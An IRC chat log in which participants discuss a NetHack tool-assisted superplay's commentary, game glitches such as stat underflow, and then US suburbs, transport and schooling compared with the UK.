17:54:40 <olsner> elliott: but I don't understand what it was you were inspired to do, was it interesting?
17:54:50 <elliott> olsner: not that interesting
17:54:51 <Phantom_Hoover> elliott, wait, how is he manipulating it?
17:55:04 <elliott> Phantom_Hoover: by doing things that advance the RNG
17:55:09 <elliott> preferably without wasting turns
17:55:21 <quintopia> elliott: where's this walkthrough
17:55:39 <elliott> it's not a walkthrough
17:55:41 <elliott> it's an explanation of a speedrun
17:55:48 <quintopia> huh
17:55:51 <elliott> I would link the youtube video but Ilari seems to have a more recent and shorter video
17:56:08 <Phantom_Hoover> OH HOLY CRAP
17:56:17 <Phantom_Hoover> I FORGOT TO SUBSCRIBE TO SMBC
17:56:24 <Phantom_Hoover> Oh, the backlog!
17:56:50 <elliott> being a xorn). (This may seem a little implausible, but
17:56:50 <elliott> water in NetHack tends to be incredibly dangerous, with hard-hitting
17:56:50 <elliott> sharks, eels that can instakill the character, and electric eels that
17:56:50 <elliott> can destroy rings and wands. With that amount of dangerous wildlife
17:56:50 <elliott> around, a little turbulence doesn't really surprise me.
17:56:56 <elliott> ais523: unclosed paren
17:57:03 <elliott> FIX IT FIX IT FIX IT FIX IT
17:57:13 <olsner> I still don't understand the properties of non-integral number bases properly, and that understanding seems to be required to make progress
17:57:20 <ais523> elliott: noted
17:57:28 <elliott> The Yendorian Army seems to
17:57:28 <elliott> be equal-opportunities, with a female soldier swinging her sword at us
17:57:28 <elliott> and missing (both the soldiers guarding this tower happen to be girls,
17:57:28 <elliott> for some reason); unfortunately, she doesn't have the sense to run.
17:57:31 <elliott> ais523: *equal-opportunity
17:57:36 <olsner> (in particular to make sure that it's hard enough to use and that there aren't any useful shortcuts)
17:57:38 <ais523> elliott: I'm not so sure on that correction
17:57:44 <elliott> (also, that parenthical remark confuses me, compare "(both the soldiers guarding this tower happen to be boys, for some reason)")
17:57:52 <elliott> ais523: http://en.wikipedia.org/wiki/Equal_opportunity
17:57:54 <elliott> WP agrees
18:00:33 <elliott> The combat against the other soldier. This one went rather better;
18:00:33 <elliott> not because of the level-up, simply due to luck. As we wanted, we
18:00:33 <elliott> ended up low on health, but not completely out of it; and got another
18:00:33 <elliott> level-up as a result. Ironically, we'd be better off at a lower level
18:00:33 <elliott> here, but not by much, and it ends up not really mattering.
18:00:35 <elliott> ais523: is that actually ironic?
18:01:00 <ais523> elliott: I think it is
18:01:10 <ais523> normally you get level ups and don't want them
18:01:13 <quintopia> ais523: can see video plox?
18:01:14 <ais523> *umm, other way round
18:01:21 <elliott> Autopickup is off
18:01:21 <elliott> for this, because we don't care about the chest the wand is in, just
18:01:21 <elliott> the wand itself.
18:01:21 <elliott> :D
18:01:23 <elliott> carrying around a chest
18:01:25 <ais523> normally you want levels but can't get them
18:01:28 <elliott> ais523: do you have the newer video Ilari mentioned?
18:01:31 <ais523> in this case, we get levels but don't want them
18:01:45 <ais523> hmm, it's up somewhere, but I can't remember where offhand
18:02:05 <ais523> it's Ilari who encodes these videos, btw
18:02:13 <quintopia> oh
18:02:30 <elliott> ais523: no, that was the older one
18:02:33 <elliott> Ilari has a 20 second one
18:02:35 <elliott> apparently
18:03:08 <Ilari> The latest I have is 25 seconds...
18:03:23 <elliott> "We end up embedded in a wall as we unpolymorph, but
18:03:23 <elliott> can still move out of it"
18:03:24 <elliott> :what:
18:03:29 <elliott> Ilari: I was rounding
18:04:50 <elliott> "And our wish? "4 dark". Although not nearly as broken as
18:04:50 <elliott> Family Feud's, NetHack's wish parser allows for some pretty weird
18:04:50 <elliott> input at times"
18:04:51 <elliott> :what:
18:04:53 -!- cheater- has quit (Ping timeout: 240 seconds).
18:05:06 -!- impomatic has left (?).
18:05:14 <ais523> elliott: the Family Feud reference is someone who took a boring quiz game and made it hilarious by breaking the parser
18:05:23 <Phantom_Hoover> ais523, LINK
18:05:40 <ais523> because, say if the answer was "telescope", the parser accepted t.*e.*l.*e.*s.*c.*o.*p.*e
18:05:42 <elliott> ZELDA
18:05:49 <elliott> ais523: :D ... is this IRL?
18:05:51 <elliott> like on TV?
18:05:51 -!- cheater- has joined.
18:05:52 <Ilari> Phantom_Hoover: http://tasvideos.org/1248M.html ?
18:05:59 <elliott> oh
18:05:59 <ais523> elliott: it was a computer game version of a TV quiz show
18:06:01 <elliott> a TAS :P
18:06:02 <elliott> right
18:06:07 <elliott> "tased losers cya dopes" :D
18:06:13 <ais523> you could do it outside a TAS too, really
18:06:22 <ais523> except that without RNG abuse, you'd have to be really good at thinking up witty answers on the fly
18:06:30 <ais523> and Ilari beat me to it
18:06:45 <elliott> ugh, that youtube thing doesn't link to an actual link
18:06:47 <elliott> it's javascript
18:06:55 <elliott> and i want to load the actual youtube page
18:06:59 <ais523> there's an actual link on the same page
18:07:00 <elliott> oh, there's a link abov
18:07:00 <elliott> e
18:07:01 <elliott> *above
18:07:03 <elliott> thanks :P
18:07:21 <Ilari> http://www.youtube.com/watch?v=BkuP7IvxDGo ?
18:07:23 <elliott> grr, it won't load with my youtube player
18:08:06 * elliott tries the archive.org link
18:09:10 <elliott> ais523: hmm, almost 7 minutes speedrun? that's quite long
18:09:19 <elliott> although i guess absolute speed wasn't the goal :)
18:09:29 <ais523> it's not a speedrun, but a superplay
18:09:38 <ais523> the final S varies according to what precisely you're doing
18:12:56 -!- augur has quit (Remote host closed the connection).
18:13:06 <elliott> ais523: can you cause any of nethack's stats to underflow?
18:14:05 <ais523> elliott: yes
18:14:15 <elliott> ais523: Notch quality!
18:14:20 <ais523> in fact, we're going to do that to carry capacity in a bit
18:14:41 <elliott> (in Minecraft multiplayer, if you send a jump packet to really high in the air, you fall down, take no damage, and become effectively immortal)
18:14:46 -!- augur has joined.
18:14:48 <elliott> (due to underflow)
18:14:55 <elliott> effectively immortal = you can have an hour long lava bath
18:15:04 <ais523> but a day would be pushing it?
18:15:35 <ais523> you can also overflow max HP to end up with negative max HP, which is actually useful as it causes enemies to not attack you
18:15:41 <ais523> but having a high positive max HP tends to work better
18:15:43 <elliott> ais523: I don't know if Java's ints can store a big enough value for that, but I do know that fizzie became immortal accidentally, did many jumps from the proper top of the map that should have killed him, and then spent about 20 minutes in lava, and /still/ had ridiculously high HP
18:15:55 <elliott> I think if you end up with just negative HP in Minecraft, you die
18:15:56 <ais523> elliott: int in java is always 32-bit
18:16:00 <elliott> right
18:16:08 <ais523> even on a 64-bit system
18:16:15 <elliott> same applies to C :P
18:16:16 <elliott> on Linux
18:16:30 <elliott> ais523: what I meant was, I don't know what health value you'd need for that
18:16:40 <elliott> and I suspect it wouldn't fit in a 32-bit int, lava is pretty painful...
18:16:44 <elliott> signed int no less
18:17:21 <elliott> I wonder how Dwarf Fortress's fluid cellular automaton works.
18:18:01 <elliott> ais523: you can /polymorph/ to your /own species/?
18:18:06 <elliott> :D
18:18:17 <ais523> elliott: yes, and you become a different member of your own species
18:18:20 <ais523> stats randomised, etc
18:18:23 <elliott> haha
18:18:45 <ais523> it's what makes the arbitrarily high maxhp/maxpw glitch work
18:18:49 <elliott> "Unlike in a regular game, though, in a TAS there's no urgent
18:18:49 <elliott> need to heal up instantly; as we only take hits when we want to, we're
18:18:49 <elliott> in no actual danger of dying."
18:18:50 <elliott> hardcore
18:19:51 <ais523> we take hits quite a lot, actually, later on
18:19:57 <ais523> for all sorts of reasons
18:22:00 <Ilari> Graph of IPv4 RIR depletion: http://www.tndh.net/~tony/ietf/IPv4-rir-pools-zoom.jpg
18:22:37 <elliott> ais523: Does "4gain energy potions" work?
18:22:47 <ais523> elliott: oh, it might
18:22:56 <ais523> was I trying to golf that one?
18:22:58 <elliott> ais523: YOUR TAS IS IMPERFECT
18:23:05 <elliott> ais523: maybe not, but you should
18:23:09 <elliott> ais523: you avoided "potions of gain energy", at least
18:23:11 <ais523> they certainly aren't all golfed, I was going more for amusement than anything else
18:23:13 <elliott> entering keys takes time, you know!
18:23:23 <ais523> elliott: we're aiming for best gametime, not best realtime
18:23:28 <elliott> SUUURE
18:23:28 <ais523> realtime's sacrificed for entertainment all the time
18:23:39 <elliott> but you wasted a turn to avoid a long realtime pause!
18:23:42 <ais523> although we do save it just because we can, e.g. the cursor movement trick
18:23:50 <ais523> and the T:2000 barrier means we can get away with that
18:23:54 <elliott> well, true
18:24:03 <ais523> we're wasting a lot more turns by not maximising our actions per turn, but there's no reason to do that this early
18:24:07 <elliott> ais523: is this TAS going to end with sitting around doing nothing until you each turn 2000? :)
18:24:10 <ais523> and it'd be incredibly boring both to watch and to make
18:24:13 <elliott> *reach
18:24:24 <ais523> probably not, as there's some setup that needs to be done on specific turns
18:24:34 <ais523> e.g. we need to set up the egg glitch some time around turn 1830
18:24:43 <elliott> ais523: well, personally i'd be impressed if the game minimised all turns (including before 2000)
18:24:51 <elliott> it'd be amusing
18:24:59 <elliott> i'm still not half-way through this file...
18:25:13 -!- WarlikeGoblin has joined.
18:25:49 <pikhq> I AM WEARING A FUCKING COAT INSIDE.
18:25:56 <pikhq> FUCK THIS WEATHER. SO MUCH.
18:26:01 <elliott> pikhq: do you guys in america not have heating, just curious
18:26:06 <elliott> WarlikeGoblin: hi, I'm PeacefulOrc
18:26:28 <pikhq> elliott: Actually, for god-knows-what-reason, the central heating doesn't hit my room.
18:26:31 <elliott> :D
18:26:36 <elliott> sux2beyou
18:27:21 <pikhq> elliott: Heating is ubiquitous in the US, and AC is nearly ubiquitous everywhere it gets above, say, 80.
18:27:35 <elliott> the us is weird bt
18:27:35 <elliott> w
18:27:39 <elliott> *btw
18:27:59 <pikhq> And absolutely fucking *mandatory* in giant chunks of the country.
18:28:14 <ais523> in the UK, everywhere has central heating nowadays, but air conditioning is basically only used in cars and server rooms
18:28:21 <ais523> because it rarely gets all that hot
18:28:28 <pikhq> (I have no idea how anyone could have lived in Texas before that. Seriously, that shit's likely to kill you.)
18:30:28 -!- WarlikeGoblin has quit (Ping timeout: 240 seconds).
18:33:24 <Ilari> AC eats good chunk of electricity... When shortages of that start, they are in for some real fun...
18:34:25 <Phantom_Hoover> Well, noöne will miss Texas.
18:34:40 <Phantom_Hoover> Wait, I thought Texas was actually relatively low in the crazy league?
18:34:52 <Phantom_Hoover> Compared to some other southern states.
18:34:54 <elliott> they have hipsters
18:34:57 <elliott> nuff said
18:35:11 <pikhq> Ilari: Actually, Arizona is really screwed.
18:35:33 <Phantom_Hoover> pikhq, why them more than anywhere else?
18:35:43 <pikhq> Phantom_Hoover: It's a fucking desert.
18:36:20 <pikhq> Phantom_Hoover: It relies entirely on AC and piping water.
18:36:20 <Phantom_Hoover> Entirely?
18:36:29 <pikhq> THERE IS NO WATER THERE.
18:38:11 <pikhq> You'd have to basically start evacuating the state. There is nowhere *near* enough water there to supply its population.
18:38:12 <Phantom_Hoover> YOU CRAZY AMERICANS
18:38:23 <Phantom_Hoover> YOU ARE LIKE THE GUYS IN SYRUPLEAF
18:38:29 <Phantom_Hoover> EXCEPT EVEN CRAZIER
18:38:38 <Phantom_Hoover> THEY GOT WATER AFTER THEY MELTED IT WITH LAVA
18:38:41 <elliott> why did you guys go to america too
18:38:42 <pikhq> And it regularly gets above 100°F (38°C).
18:38:49 <elliott> we weren't that fussed about it really, you know why we warred with you?
18:38:55 <elliott> to try and tell you what a fucking stupid idea living there is
18:38:58 <elliott> the climate SUCKS
18:38:59 <elliott> jeez man
18:39:03 <elliott> come back to england
18:39:05 <elliott> we'll accept you, ok?
18:39:10 <elliott> (well not now)
18:39:12 <elliott> (but back then.)
18:39:17 <pikhq> elliott: Actually, a lot of the climate is nice.
18:39:21 <elliott> uh huh
18:39:33 <pikhq> elliott: It's just that, being *continent-sized*, there's a lot of places that nobody should be living.
18:39:45 <pikhq> And because we're fucking nuts, we live there ANYWAYS.
18:39:54 <quintopia> well. it's bigger than australia anyway.
18:40:01 <pikhq> It's about the size of Europe.
18:40:06 <quintopia> bigger.
18:40:31 <elliott> ais523: how much do you bang your head against a wall in an average RNG-manipulation session?
18:40:33 <elliott> in-game, that is :P
18:40:34 <quintopia> well, if you count EVERY LAST EASTERN EUROPEAN COUNTRY and the part of russia west of the Urals...maybe
18:40:41 <Phantom_Hoover> pikhq, I HAVE NO CONCEPT OF A PLACE WHERE THE CLIMATE ISN'T ESSENTIALLY THE SAME ALL YEAR ROUND
18:40:49 <ais523> elliott: depends on what we're manipulating
18:40:59 <pikhq> Oh, yeah, Arizona is also fucked because they are even *more* car-centric than the rest of the US.
18:41:02 <pikhq> And that's impressive.
18:41:06 <elliott> ais523: but, are we talking on the scale of 10, 100, 1000 or 10,000 bashes?
18:41:07 <ais523> it's 100 steps on average to manipulate a polymorph, which is probably the most common thing to manipulate
18:41:11 <elliott> ah
18:41:23 <pikhq> Because of the absurd temperatures, nobody would even think of walking around outside.
18:41:24 <quintopia> pikhq: more car-centric than ATL? is that possible?
18:41:32 <ais523> relatively likely things, like the Vlad-farming, are under 10 and done by hand
18:41:32 <quintopia> pikhq: more than LA???????
18:41:42 <Phantom_Hoover> pikhq, how car-centric are you guys, again?
18:41:49 <elliott> where
18:41:50 <elliott> we failed-polyself to level 3 again (thanks to manipulation on earlier
18:41:50 <elliott> turns). The vampire also manages to push through the crowd to end
18:41:51 <ais523> some things, like generating levels the way we want them, can go up into the high hundreds pretty easily
18:41:51 <elliott> ais523: how failed?
18:41:55 <pikhq> Phantom_Hoover: Car ownership is mandatory.
18:41:55 <ais523> although we generally give up
18:41:56 <elliott> sounds like it worked to me
18:42:04 <ais523> elliott: "failed polyself" in that we didn't become a monster
18:42:06 <ais523> technical term
18:42:07 <Phantom_Hoover> pikhq, like, actually mandatory?
18:42:25 <elliott> ais523: ah :D
18:42:30 <ais523> normally people don't set off that effect /deliberately/, because it can really screw up your character
18:42:33 <pikhq> Phantom_Hoover: A lot of people would be incapable of purchasing groceries without a car.
18:42:36 <elliott> ais523: you might want to explain that
18:42:39 <Phantom_Hoover> pikhq, ...
18:42:39 <elliott> first time you use it
18:42:41 <pikhq> Phantom_Hoover: Much less getting money for said groceries.
18:42:50 <elliott> america is funny
18:42:50 <ais523> elliott: I think I should, yes
18:42:51 <elliott> it's like
18:42:52 <Phantom_Hoover> Don't you have *pavements*?
18:42:52 <elliott> hurf durf country.
18:42:57 <elliott> PAVEMENTS ARE COMMUNIST
18:43:00 <elliott> WHO DO YOU THINK BUILDS THEM
18:43:12 <Phantom_Hoover> Oh, wait, you expand sideways rather than up.
18:43:13 <pikhq> Phantom_Hoover: Doesn't help if it's a day's walk to the store.
18:43:30 <ais523> Phantom_Hoover: British English pavement == US English sidewalk, US English pavement == British English carriageway
18:43:41 <ais523> so they do have pavements, they just drive on them
18:43:56 <Phantom_Hoover> ais523, noöne calls them carriageways.
18:44:00 <Phantom_Hoover> They're "roads".
18:44:05 <ais523> no, the road is the whole thing
18:44:10 <ais523> I'm referring to just the bit that the car uses
18:44:10 <pikhq> Phantom_Hoover: http://upload.wikimedia.org/wikipedia/commons/f/f2/Scottsdale_cityscape4.jpg
18:44:43 <Phantom_Hoover> pikhq, HAVE YOU PEOPLE NOT HEARD OF STAIRS????
18:45:01 <pikhq> Phantom_Hoover: BUTBUT EVERYONE NEEDS A QUARTER-ACRE!
18:45:24 <elliott> the us drive on pavements?
18:45:26 <elliott> do they really say that?
18:45:41 <elliott> <pikhq> Phantom_Hoover: http://upload.wikimedia.org/wikipedia/commons/f/f2/Scottsdale_cityscape4.jpg
18:45:43 <elliott> CITYscape?
18:45:46 <pikhq> elliott: We will refer to the bit of the road that you drive on as the pavement, yes.
18:45:47 <elliott> that's not a city, that's a... slum
18:46:00 <pikhq> elliott: That's a suburb of Phoenix, Arizona.
18:46:07 <elliott> *slumburb
18:46:18 <elliott> so that's what a suburb is, you guys talk about them all the time, didn't really understand
18:46:23 <elliott> you guys are weir
18:46:23 <elliott> d
18:46:33 <Phantom_Hoover> pikhq, Phoenix has around 3 times the population of Edinburgh, and 5 times the area.
18:46:36 <ais523> hmm, "suburb" is used in the UK too, but possibly with a different meaning
18:46:39 -!- BeholdMyGlory has joined.
18:46:46 <elliott> ais523: well, i wouldn't think to use it to describe http://upload.wikimedia.org/wikipedia/commons/f/f2/Scottsdale_cityscape4.jpg.
18:46:52 <ais523> it's the area of a major city outside the busy bit in the centre, and outside the ring of failed factories that's normally a bit beyond it
18:46:53 <fizzie> ais523: The protocol health messages are (possibly truncated to) Java shorts, but I don't know what it's kept internally.
18:46:57 <elliott> words like "horrible" seem to fit the bill much better.
18:47:23 <ais523> elliott: that doesn't look too different from a UK suburb, I think you're massively misjudging the scale
18:47:45 <Phantom_Hoover> God, the architecture is so cluttered.
18:47:46 <elliott> ais523: no, I just think it' awful
18:47:52 <ais523> oh, I also think it's awful
18:47:56 <elliott> it looks like someone vomited houses on top of spaghetti rodes
18:47:57 <elliott> *roads
18:47:58 <pikhq> ais523: Scottsdale, a suburb of Phoenix, is 184 square miles (477 km²).
18:48:11 <pikhq> ais523: Yes, 184 square miles of that.
18:48:18 <Phantom_Hoover> pikhq, so twice the size of Edinburgh.
18:48:22 <ais523> oh, that must be a different usage, "a suburb of" is meaningless in UK English
18:48:27 <elliott> I can't imagine living there at all.
18:48:27 <Phantom_Hoover> Well, 1.8.
18:48:33 <elliott> is that the city in the distance?
18:48:34 <pikhq> And a population of 245,000.
18:48:50 <elliott> pikhq: Americans aren't very down with the "talking and being nice to your neighbours" thing, are they?
18:49:02 <Phantom_Hoover> pikhq, wait, so it takes you people twice the area to house half the people?
18:49:03 <pikhq> elliott: Very far off would be Phoenix, I think.
18:49:03 <elliott> Or at least I can't imagine that's the case as getting from one house to another house in that picture looks non-trivial.
18:49:23 <pikhq> elliott: And neighbourliness is not very common any more, no.
18:49:31 <Phantom_Hoover> pikhq, what's the breadth of Phoenix?
18:49:39 <Ilari> That sort of things are entierely dependant on cars for transport. And those are dependent on LOTS of oil...
18:49:40 -!- Behold has quit (Ping timeout: 240 seconds).
18:49:48 <pikhq> Phantom_Hoover: City of, or metro area?
18:49:48 <elliott> so was phoenix built by university of phoenix graduates :>
18:49:53 <Phantom_Hoover> pikhq, the entire place.
18:50:00 <pikhq> So, metro area.
18:50:14 <ais523> elliott: nah, it magically regenerated from a single ashtray
18:50:22 <elliott> haha
18:50:38 <pikhq> 16,000 square miles (37,744 km²).
18:50:46 <pikhq> Population of about 4 million.
18:50:46 <Phantom_Hoover> pikhq, waitwhat?
18:50:51 <Phantom_Hoover> Oh, right.
18:50:58 <ais523> the US has a pretty screwed up population density
18:51:21 <pikhq> And now you know why mass transit basically doesn't exist in the US.
18:51:34 <Phantom_Hoover> pikhq, don't you even have trains?
18:51:44 <Phantom_Hoover> Buses?
18:51:50 <pikhq> Phantom_Hoover: We have fewer trains now than we did 100 years ago.
18:52:05 <pikhq> Phantom_Hoover: And many cities have busses, but they're insanely hard to use.-
18:52:16 <pikhq> For instance, the bus route that runs near me runs 4 times a day.
18:52:34 <copumpkin> pikhq, I choose you!
18:53:03 <elliott> i have a theory
18:53:05 <elliott> a very complex theory
18:53:07 <elliott> US IS WACK
18:53:10 <elliott> anyone have questions about my theory
18:53:18 <Phantom_Hoover> elliott, how wack?
18:53:22 <elliott> WACKY WACK
18:53:29 <quintopia> ilari never linked the nethack video
18:53:34 * quintopia shakes fist
18:53:37 <quintopia> ILARIIIIIIIIIIIIIIIiii
18:53:44 <kfr> Public transport in the US is extremely advanced
18:53:46 <kfr> Just kidding
18:53:51 <elliott> you have to capitalise it right
18:53:53 <elliott> Ilari Ilari
18:53:55 <elliott> *Ilari Ilari Ilari
18:54:19 <Phantom_Hoover> Ilari and ineiros: have you ever seen them together?
18:54:28 <elliott> ais523: i'm at turn 159, and you're doing pretty good. :p
18:54:39 <elliott> Ilari is ineiros is fizzie.
18:54:42 <elliott> is quintopia.
18:54:46 <ais523> how are you watching the video turn by turn? or are you just reading?
18:55:33 <pikhq> http://upload.wikimedia.org/wikipedia/commons/c/c1/USA-Urban-Areas.svg Here's a map of the places in the US with a population density over 1,000 people per square mile (193.1 /km²)
18:55:38 <elliott> ais523: reading
18:55:43 <quintopia> elliott: duh. we're all your sock puppets anyway.
18:55:48 <elliott> ais523: I watched the youtube video you linked and I didn't really process it :
18:55:49 <elliott> *:P
18:55:52 <copumpkin> US IS WANK
18:55:59 <elliott> pikhq: what's that hole in the top-left
18:56:22 <copumpkin> that's one hell of an svg
18:56:31 <pikhq> elliott: Ocean?
18:56:32 <copumpkin> elliott: it just hasn't drawn yet
18:56:40 <elliott> copumpkin: oh, does it draw?
18:56:42 <elliott> pikhq: i mean inside
18:56:45 <copumpkin> it's an svg
18:56:50 <elliott> you're an svug.
18:56:59 <pikhq> elliott: The state nearest it? Uh, Washington.
18:57:17 <copumpkin> elliott: I had a hole in upper left too
18:57:20 <copumpkin> until it filled in
18:57:23 <pikhq> (state of, not the non-existent city in the District of Columbia)
18:57:31 <copumpkin> it's loading the xml file off the internet and drawing it as it arrives
18:57:39 <Phantom_Hoover> pikhq, Washington doesn't exist?
18:57:47 <elliott> copumpkin: who doesn't love xml
18:57:55 * copumpkin raises his hand
18:58:00 <pikhq> Phantom_Hoover: There are no cities in the District of Columbia.
18:58:24 <pikhq> There is only the District of Columbia, which happens to be urban.
18:59:14 <Phantom_Hoover> http://www.guardian.co.uk/commentisfree/cifamerica/2011/feb/02/british-superheroes-superman-batman-spider-man
18:59:20 <Phantom_Hoover> Note the first item on the list.
18:59:28 <elliott> CORNWALL IS EATING THE SEARCH
18:59:31 <Phantom_Hoover> [[6. America is finally letting go of its regressive and slightly terrifying culture of anti-intellectualism
18:59:31 <Phantom_Hoover> Hahahahaahaahahaahahaahahaah!!! Good one. No.]]
18:59:38 <elliott> Phantom_Hoover: :D
18:59:53 <Phantom_Hoover> pikhq, is it really that bad?
19:00:06 <Phantom_Hoover> Also, are your schools really the hellholes your media make them out to be?
19:00:29 <quintopia> Phantom_Hoover: frequently worse.
19:00:31 <pikhq> Phantom_Hoover: Let me put it this way: I fucked around and did nothing in high school.
19:00:37 <pikhq> Phantom_Hoover: I graduated with a 3.25 GPA.
19:00:47 <copumpkin> that's not terrible
19:00:53 <Phantom_Hoover> pikhq, I'm fucking around and doing nothing in high school.
19:01:11 <copumpkin> oh, I didn't go to school in the US
19:01:13 <elliott> AND THAT'S WHY YOU HAVE NO FUTURE, PHANTOM_HOOVER
19:01:13 <pikhq> Are you getting good grades while literally having not done homework for a semester?
19:01:19 <Phantom_Hoover> pikhq, yes.
19:01:44 <pikhq> I was also in 'honors' classes.
19:01:51 <Phantom_Hoover> Well, I *occasionally* do homework, but that's just when I'm basically told that I will be in detention for the next week.
19:02:11 <pikhq> And, yeah, our public schools suck ass.
19:02:22 <pikhq> I am better at reading Japanese than many students are at reading English.
19:02:27 <Phantom_Hoover> Although that's really only with three of my 4 subjects.
19:03:10 <pikhq> There was a "remedial math" class. Covering grade school math.
19:03:22 <Phantom_Hoover> I got bumped up to the next year in physics and scheduling problems lead to me having some stuff thrust at me and being told to learn them, which I couldn't do in class because I also need to do the investigation.
19:03:28 <elliott> Phantom_Hoover's 4 subjects are phantom, hoovery, haberdashery, and ontology.
19:03:32 <pikhq> You could take it for the math requirement in high school.
19:03:33 <Phantom_Hoover> So I'm doing *some* work.
19:03:45 <pikhq> Well, for part of it...
19:04:08 <pikhq> You could then move on to what you should have done in middle school, and *finish off* with Algebra I.
19:04:34 <Phantom_Hoover> pikhq, ask ais523 about how they have it in England.
19:04:52 <elliott> ais523: "5 blessed scrolls of transportation", couldn't you just say "5 transportation blessed scrolls"
19:04:53 <ais523> Phantom_Hoover: formerly pretty good, but getting worse by the year
19:04:56 <Phantom_Hoover> Suffice to say that the grade inflation is so rampant they have started adding new top grades because otherwise everyone would have As.
19:05:00 <pikhq> "Science" courses were basically "three years of trivia" courses.
19:05:04 <ais523> elliott: it wasn't golfed
19:05:13 <elliott> ais523: but the latter is more amusing
19:05:16 <ais523> the joke is that the standard wish there is for 4 /cursed/ scrolls of teleportation
19:05:24 <pikhq> Phantom_Hoover: Grade inflation is not rampant here, because many people ACTUALLY FAIL HARD-CORE AT THESE THINGS.
19:05:31 <ais523> so we made it look like we'd just made a typo
19:05:36 <elliott> heh
19:05:59 <elliott> Phantom_Hoover: A*************** would buy again
19:06:03 <ais523> pikhq: grade inflation is when the exams get easier year on year, regardless of how bad the students actually are
19:06:22 <pikhq> ais523: Okay, that happens in the US. A lot.
19:06:34 <pikhq> ais523: But, it doesn't help matters much.
19:06:37 <ais523> happens in the UK too, more so recently
19:06:43 <Phantom_Hoover> pikhq, how do the US curricula actually *work*?
19:06:44 <ais523> and doesn't help matters much either
19:06:46 * elliott reads a Stack Overflow conversation between I GIVE TERRIBLE ADVICE and JUST MY correct OPINION
19:06:51 <pikhq> Also, the whole depiction of the *social* environment that you get in high school on American TV?
19:06:57 <elliott> Phantom_Hoover: badly
19:06:58 <pikhq> Yeah, that's putting it lightly.
19:07:04 <Phantom_Hoover> I only recently learnt that you guys have *3* schools.
19:07:08 <Phantom_Hoover> *3*
19:07:16 <ais523> I have the feeling that the US and England+Wales are on the same track, but the US is much further gone odwn it
19:07:19 <ais523> *gone down
19:07:31 <elliott> Phantom_Hoover: wait what?
19:07:41 <Phantom_Hoover> ais523, Scotland just introduced another curriculum thingy.
19:07:47 <ais523> (Scotland and Northern Ireland have separate education systems; from what I've heard, the Scottish system is much saner, and I don't know much about the Northern Irish system)
19:07:52 <pikhq> Phantom_Hoover: Middle school and high school are very similar in structure, just with different age groups.
19:07:56 <kfr> <pikhq> Also, the whole depiction of the *social* environment that you get in high school on American TV?
19:07:59 <Phantom_Hoover> ais523, NI uses GCSE.
19:08:00 <ais523> Phantom_Hoover: is that a good thingy, or a bad thingy?
19:08:02 <kfr> JOCKS NERDS CHEERLEADERS
19:08:16 <pikhq> kfr: It's more inane than that.
19:08:18 <elliott> pikhq: middle school is painful in america?
19:08:18 <Phantom_Hoover> They still had the 11-plus until a couple of years ago; most of my cousins have sat it.
19:08:19 <ais523> cheerleaders mostly don't exist in the UK
19:08:26 <ais523> I mean, they do, but they aren't a part of culture or anything
19:08:28 <Phantom_Hoover> And all of them have passed it AFAIK.
19:08:44 <elliott> my /mother/ did the 11-plus, I think
19:08:48 <pikhq> elliott: High school with 11 year olds, basically.
19:08:51 <ais523> I did the 11 plus
19:08:58 <elliott> ha ha, ais523 is old!
19:09:00 <ais523> due to going to a selective secondary school
19:09:06 <ais523> I think that school still does it, actually
19:09:18 <ais523> although possibly they've renamed it
19:09:23 <kfr> lol the depictions of highschools in US movies/series always irritated me, where I grew up the people who specialised in sports were mostly considered losers who wouldn't get any higher education
19:09:24 <elliott> ais523: as long as your accent is sufficiently posh, you decadent capitalistic fascist monarchist somethingist!
19:09:32 <ais523> I'm not entirely sure how good an IQ test is at selecting entrants anyway
19:09:35 <pikhq> kfr: That's how it works.
19:09:47 <pikhq> kfr: Sports usually soak up all the funding, too.
19:09:51 <pikhq> kfr: Even more so at colleges.
19:09:52 <ais523> elliott: heh, when I was on the UK Olympic maths team, I was sent to a training camp and I was the only person there who wasn't in a posh public school
19:10:03 <ais523> and I sort-of picked up the accent, and was speaking incredibly poshly for a few days afterwards
19:10:04 <kfr> But in the US they actually give out scholarships to athletes? :o
19:10:07 <ais523> but it wore off again
19:10:11 <kfr> I'm not entirely sure why
19:10:13 <ais523> kfr: in the UK, too
19:10:14 <pikhq> kfr: Yes. Very yes.
19:10:15 <kfr> Haha
19:10:20 <elliott> ais523: ugh :)
19:10:21 <ais523> but not very many, typically
19:10:24 <pikhq> kfr: Very very very yes.
19:10:29 <Phantom_Hoover> kfr, there was a guy with a sports scholarship into my old school.
19:10:32 <elliott> what are we saying yes to?
19:10:34 <elliott> yes yes yes yes yes yes yes
19:10:41 <Phantom_Hoover> I hated him due to a general dislike of organised sport.
19:10:42 <pikhq> kfr: College sports are a big deal.
19:10:47 <kfr> They only give out scholarships to people who did very well at the subjects they want to study in highschool
19:10:51 <elliott> sport is the worst
19:10:56 <kfr> And to kids of migrants
19:11:00 <kfr> And the poor etc
19:11:02 <ais523> yes yes | perl -pe 's/\n/ /g'
19:11:05 <pikhq> kfr: It's on national TV. And popular.
19:11:15 <ais523> actually, that g is unnecessary
19:11:22 <elliott> ais523: yes|perl -pe's/y\n/yes /'
19:11:25 <kfr> I'm not even sure we had any sports teams in highschool
19:11:29 <elliott> FTFY
19:11:30 <ais523> elliott: is that actually shorter?
19:11:32 <elliott> dunno :D
19:11:36 <kfr> I think there's a handball team at my university
19:11:39 <ais523> besides, I just wanted to add the "yes yes" because it's hilarious
19:11:44 <elliott> ais523: yes|perl -pe's/y./yes /'
19:11:48 <elliott> wait
19:11:51 <pikhq> kfr: Oh, and many of the sports scholarships are full rides.
19:11:51 <elliott> . doesn't match \n does it
19:11:51 <elliott> darn
19:11:54 <kfr> But it doesn't get any attention from the general public really
19:11:56 <ais523> yes(1) needs an argument to actually get it to say yes
19:12:05 <ais523> elliott: you can use the s modifier to get . to match \n
19:12:11 <ais523> but then you might as well say \n
19:12:23 <kfr> Furthermore, you generally don't need a scholarship around here, since most universities are free and have little to no tuition fees
19:12:29 <pikhq> kfr: Functionally, it's "pro sports, but you need to not fail college classes while you're at it."
19:12:38 <kfr> Unluckily mine is one of the first ones that introduced fees here :'(
19:12:42 <kfr> 1200 EUR/year
19:12:53 <kfr> Which is tame in comparison to US standards
19:12:56 <pikhq> kfr: ... That's a fucking bargain, and I spend more on books.
19:13:10 <kfr> It used to be 100 EUR/year :(
19:13:16 <kfr> When I first started
19:13:22 <Phantom_Hoover> pikhq, Scotland has free tuition for Scottish students nenenenenene
19:13:22 <kfr> No, 200*
19:13:31 <pikhq> I spend more than that on transportation!
19:13:38 <elliott> Phantom_Hoover: *na na na na na?
19:13:40 <pikhq> (30 mile drive. "Yay".)
